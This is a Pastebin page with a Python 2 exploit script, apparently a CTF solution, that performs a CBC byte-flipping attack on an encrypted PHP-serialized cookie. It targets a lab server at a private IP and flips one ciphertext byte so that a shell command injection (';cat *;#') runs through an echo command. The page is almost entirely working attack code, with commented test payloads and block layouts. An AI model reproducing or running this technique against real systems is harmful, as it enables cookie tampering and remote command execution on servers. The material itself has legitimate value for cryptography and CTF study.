MLT

Python - CBC Byte Flipping Attack

MLT
Nov 10th, 2013
483
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.08 KB | None | 0 0
  1.     #!/usr/bin/python
  2.     import requests
  3.     import sys
  4.     import urllib
  5.     from base64 import b64decode as dec
  6.     from base64 import b64encode as enc
  7.     url = 'http://192.168.184.133/ebctf/mine.php'
  8.     def Test(x):
  9.     t = "echo 'Hello %s!'" % x
  10.     s = 'a:2:{s:4:"name";s:%s:"%s";s:8:"greeting";s:%s:"%s";}%s' % (len(x),x,len(t),t, 'X'*40)
  11.     for i in xrange(0,len(s),16):
  12.     print s[i:i+16]
  13.     print '\n'
  14.     def Pwn(s):
  15.     global url
  16.     s = urllib.quote_plus(enc(s))
  17.     req = requests.get(url, cookies = {'settings' : s}).content
  18.     # if req.find('works') != -1:
  19.     print req
  20.     # else:
  21.     # print '[-] FAIL'
  22.     def GetCookie(name):
  23.     global url
  24.     d = {
  25.     'name':name,
  26.     'submit':'Submit'
  27.     }
  28.     h = requests.post(url, data = d, headers = {'Content-Type' : 'application/x-www-form-urlencoded'}).headers
  29.     if h.has_key('set-cookie'):
  30.     h = dec(urllib.unquote_plus(h['set-cookie'][9:]))
  31.     #h = urllib.unquote_plus(h['set-cookie'][9:])
  32.     #print h
  33.     return h
  34.     else:
  35.     print '[-] ERROR'
  36.     sys.exit(0)
  37.     #a:2:{s:4:"name";s:10:"X;cat *;#a";s:8:"greeting";s:24:"echo 'Hello X;cat *;#a!'";}
  38.     #a:2:{s:4:"name";
  39.     #s:10:"X;cat *;#a
  40.     #";s:8:"greeting"
  41.     #;s:24:"echo 'Hel
  42.     #lo X;cat *;#a!'"
  43.     #;}
  44.     #a:2:{s:4:"name";s:42:"zzzzzzzzzzzzzzzzzX;cat *;#zzzzzzzzzzzzzzzz";s:8:"greeting";s:56:"echo 'Hello zzzzzzzzzzzzzzzzzX;cat *;#zzzzzzzzzzzzzzzz!'";}
  45.     #a:2:{s:4:"name";
  46.     #s:42:"zzzzzzzzzz
  47.     #zzzzzzzX;cat *;#
  48.     #zzzzzzzzzzzzzzzz
  49.     #";s:8:"greeting"
  50.     #;s:56:"echo 'Hel
  51.     #lo zzzzzzzzzzzzz
  52.     #zzzzX;cat *;#zzz
  53.     #zzzzzzzzzzzzz!'"
  54.     #;}
  55.     #exploit = 'X' + ';cat *;#a' #Test case first, unsuccess
  56.     exploit = 'z'*17 + 'X' + ';cat *;#' + 'z' *16 # Test Success
  57.     #exploit = "______________________________________________________; cat *;#"
  58.     #Test(exploit)
  59.     cookie = GetCookie(exploit)
  60.     pos = 100; #test case success
  61.     #pos = 51; #test case first, unsuccess
  62.     val = chr(ord('X') ^ ord("'") ^ ord(cookie[pos]))
  63.     exploit = cookie[0:pos] + val + cookie[pos + 1:]
  64.     Pwn(exploit)
Advertisement
Comments
  • Comment was deleted
Add Comment
Please, Sign In to add comment